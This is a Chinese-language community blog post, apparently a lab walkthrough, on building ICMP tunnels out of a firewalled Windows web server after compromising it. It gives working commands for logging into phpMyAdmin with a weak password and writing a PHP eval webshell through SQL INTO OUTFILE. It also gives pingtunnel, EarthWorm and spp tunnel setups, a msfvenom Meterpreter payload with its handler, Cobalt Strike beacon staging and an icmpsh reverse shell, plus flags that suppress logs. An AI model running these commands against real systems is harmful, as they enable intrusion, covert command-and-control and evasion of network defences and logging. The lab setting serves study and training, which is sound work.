内网穿透之icmp隧道搭建+上线CS+环境场景搭建

举报
亿人安全 发表于 2023/05/27 14:56:26 2023/05/27
【摘要】 前言在后渗透中内网隧道是必不可少的,在能够TCP出网的情况下搭建隧道是最容易的,使用frp即稳定又方便,搭建几级代理都不是问题。但是也有很多TCP不出网的情况,在这种场景下搭建隧道就要另寻门路了。为了方便学习内网隧道技术,我在公司的内网环境搭建了基于windows系统的苛刻的隧道环境,其实很简单,都是windows自带防火墙的一些规则策略。通过各种尝试,终于完成此环境(不知道有没有别的问题)...

前言

在后渗透中内网隧道是必不可少的,在能够TCP出网的情况下搭建隧道是最容易的,使用frp即稳定又方便,搭建几级代理都不是问题。但是也有很多TCP不出网的情况,在这种场景下搭建隧道就要另寻门路了。为了方便学习内网隧道技术,我在公司的内网环境搭建了基于windows系统的苛刻的隧道环境,其实很简单,都是windows自带防火墙的一些规则策略。通过各种尝试,终于完成此环境(不知道有没有别的问题),现在把过程分享给大家~路过的师傅都来看看呀,有不正确的地方求教教我^^

图片

通过环境搭建,满足以下条件:

192.168.3.76(kali)模拟公网vp/s地址,WEB服务器1(windows server2019)模拟公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台WIndows内网服务器,Web服务器可以访问该机器远程桌面。当我们拿到web服务器1的shell之后发现只能使用icmp协议访问公网vp/s(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器进行后续攻击操作。

windows环境:

系统:windows server 2019(WEB服务器)、windows server2008 R2(内网服务器)

WEB服务器1使用phpstudy搭建web服务,防火墙配置策略能访问内网服务器。隧道打通之后可以用来访问内网服务器远程桌面测试。

工具:phpstudy

用来开启web服务,web服务直接使用phpstudy默认功能即可(phpstudy探针+phpmyadmin弱口令)。WEB服务器防火墙入站规则仅开启80端口TCP,用来攻击获取shell。

一、获取WEB服务器shell

1 phpstudy探针得到网站路径

C:/phpStudy/WWW

图片

2 phpmyadmin弱口令root/root

http://192.168.3.88/phpmyadmin

通过phpstudy开启的服务,使用弱口令连接phpmyadmin

图片

3 写入webshell

show global variables like '%secure_file_priv%';

NULL   不允许导入或导出
/tmp   只允许在 /tmp 目录导入导出
空     不限制目录

这里是空值

图片

写入webshell

select '<?php @eval($_POST[ch4nge]);?>' into outfile 'C:/phpStudy/WWW/ch4nge.php';

图片

4 蚁剑连接

图片

二、ew+pingtunnel组合建立socks5隧道

ew

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

https://github.com/idlefire/ew

pingtunnel

pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件

由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密

https://github.com/esrrhs/pingtunnel

1 v/ps-kali执行

./ew_for_linux64 -s rcsocks -l 10080 -e 8898

./pingtunnel -type server

将8898收到的请求转发至10080端口

图片

图片

2 WEB服务器执行pingtunnel

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:8898 -sock5 -1 -noprint 1 -nolog 1

图片

图片

3 WEB服务器执行ew

ew.exe -s rssocks -d 127.0.0.1 -e 9999

图片

ew回显OK,隧道已打通!

图片

4 连接代理

使用proxifier设置代理

图片

远程桌面测试

图片

远程桌面测试

图片

图片

图片

三、pingtunnel上线MSF&CS

1 pingtunnel下载链接

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件

由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密

https://github.com/esrrhs/pingtunnel/releases

2 v/ps服务端开启

./pingtunnel -type server       ##开启服务器模式

回显0连接

图片

3 客户端开启

上传客户端

图片

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1

图片

客户端本地监听9999端口 ,将监听到的连接通过icmpserver发送到Linsten_ip:7777端口

执行后,kali有回显

图片

4 MSF上线

制作木马,木马的回连地址为127.0.0.1:9999,运行上线MSF

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o ch4nge.exe

图片

监听

msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.3.76; set lport 7777; exploit -j; "

图片

把木马ch4nge.exe从蚁剑上传到靶机,运行图片

图片

5 CS上线

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1

建立监听127.0.0.1:9999和192.168.3.76:7777

图片

对ICMP-127的监听生成木马ch4nge2.exe,传到靶机运行

图片

CS监听上线

图片

图片

四、spp搭建socks5隧道

反向代理用于进入目标内网,正向代理可配合远控工具进行上线

功能

支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
协议和类型可以自由组合
外部代理协议和内部转发协议可以自由组合
支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android

1 下载

https://github.com/esrrhs/spp
https://github.com/esrrhs/spp/releases

2 V/PS执行

./spp -type server -proto ricmp -listen 0.0.0.0

图片

3 WEB服务器执行

spp.exe -name "test" -type reverse_socks5_client -server v/ps -fromaddr :8080 -proxyproto tcp -proto ricmp

spp.exe -name "test" -type reverse_socks5_client -server 192.168.3.76 -fromaddr :8080 -proxyproto tcp -proto ricmp

图片

V/PS回显

图片

图片

成功搭建隧道!

4 设置代理

socks5:v/ps:8080

192.168.3.76:8080

图片

远程连接内网服务器

图片

图片

结束!

五、spp上线CS

1 V/PS执行

./spp -type server -proto ricmp -listen 0.0.0.0

图片

2 WEB服务器执行

spp -name "test" -type proxy_client -server v/ps -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

spp -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

# -nolog 1不输出日志,-noprint 1不打印内容
spp.exe -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1

图片

3 CS监听上线

建立监听127.0.0.1:8082和192.168.3.76:8081

图片

对spp-127的监听生成木马ch4nge3.exe,传到靶机运行

CS监听上线

图片

V/PS回显

图片

wireshark捕获数据

图片

六、icmpsh反弹shell

0 icmpsh简介

icmpsh 是一个简单的反向 ICMP shell,带有一个 win32 从站和一个 C、Perl 或 Python 中的 POSIX 兼容主站。与其他类似的开源工具相比,它的主要优势在于它不需要管理权限即可在目标机器上运行。

该工具干净、简单且便携。该目标Windows机器上从(客户端)运行,它是用C写的,在Windows受害者机器上运行服务器端,在攻击者机器上的任何平台上运行服务端。

1 下载地址

https://github.com/bdamele/icmpsh

2 工具安装

如果遇到报错,请看下面的报错解决方法

#下载工具
git clone https://github.com/inquisb/icmpsh.git
#安装依赖
apt-get install python-impacket
#关闭本地ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1

3 V/PS-kali运行icmpsh的控制端

python icmpsh_m.py v/ps-ip attack-ip

python icmpsh_m.py 192.168.3.76 192.168.3.88

图片

4 WEB服务器运行

icmpsh.exe -t 192.168.3.76

图片

v/ps接收到shell

图片

使用wireshark抓包可以看到数据包都是ICMP协议

图片

5 报错解决

You need to<span> </span>``install``Python Impacket library first

解决:

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install -r requirements.txt
python setup.py install

如果第三行命令报错

图片

切换普通用户再执行

图片

安装完成后切换用户进行监听

6 局限性

V/PS和WEB服务器必须要能够相互ping通

七、附:隧道场景搭建

windows server 2019环境-icmp出网环境搭建记录

1 WEB服务器环境搭建

设置Windows防火墙策略

1) 启用防火墙

图片

2) 防火墙高级设置(重点)

(1)设置阻止入站/出站连接

打开高级设置

图片

选择属性

图片

图片

域配置文件、专用配置文件、公用配置文件这三个标签中出站连接设置为阻止,确定

再次查看

图片

(2)禁用全部已启用的入站规则

选择入站规则,按照已启用排序,把启用的规则选中,全部禁用

图片

图片

(3)新建入站规则:允许80端口tcp入站

新建一个web服务,仅TCP的80端口入站

图片

选择端口,下一步

图片

选择tcp,输入特定端口80

图片

默认选择允许连接,下一步

图片

选择专用 公用,下一步

图片

随便命名,完成

图片

(4)新建出站规则:允许ICMP协议出站

禁用全部已启用的出站规则:同样点击出站规则,把启用的全部禁用掉

新建一个基于icmp协议的规则

图片

选择自定义,协议和端口

图片

默认,下一步

图片

协议类型选择icmpv4,其余默认,下一步。"这里可以查看几个协议的协议号"

图片

作用域默认任何IP地址,下一步

图片

选择允许连接,下一步

图片

选择专用、公用,下一步

图片

输入命名,完成

图片


(5)新建出站规则:允许连接内网服务器

开启对内网服务器172.16.5.100所有访问权限。

图片

选择自定义,下一步

图片

默认选择所有程序,下一步

图片

默认,下一步

图片

远程ip地址设置为176.16.5.100

图片

选择允许连接,下一步

图片

选择专用、公用,下一步

图片

图片

(6)新建入站规则:允许远程桌面连接自己

用来对Ptunnel工具测试使用

新建入站规则,选择自定义,下一步

图片

默认,下一步

图片

默认,下一步

图片

这里设置远程ip地址为本地地址(这里没有过多测试,这样设置能达到目的)

图片

默认,允许连接,下一步

图片

选择专用、公用,下一步

图片

命名,完成

图片

3) phpStudy搭建WEB服务

先安装vc9_x86.exe,然后安装phpstudy。路径C:\phpstudy

图片

4) 关闭windows病毒与威胁防护

图片


2 内网服务器环境搭建

1) 开启防火墙

图片

2) 禁用所有开启的入站规则,新建入站规则:仅允许WEB服务器访问

新建规则

图片

选择自定义,下一步

图片

默认所有程序,下一步

图片

默认,下一步

图片

远程IP只写一个172.16.5.60(WEB服务器第二网卡)

图片

默认,下一步

图片

选择专用、公用,下一步

图片

命名,完成

图片

3) 开启允许远程桌面

图片

4) 环境测试

80端口tcp入站情况测试

开启服务后,windows攻击机可以通过ip进行访问web服务

图片

ping测试

windows攻击机不能ping通环境机器

图片

环境机器可以ping通其他机器

图片

环境tcp不出网测试

环境机器无法访问百度的网站(tcp)

图片

只能访问172.16.5.100的服务

图片

八、参考文章&&工具下载

spp参考https://xz.aliyun.com/t/9820#toc-11

pingtunnel参考perng师傅文章

工具下载

链接:https://pan.baidu.com/s/1_O8-1zpno7siXiXiL_B4NQ
提取码:nhxn
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。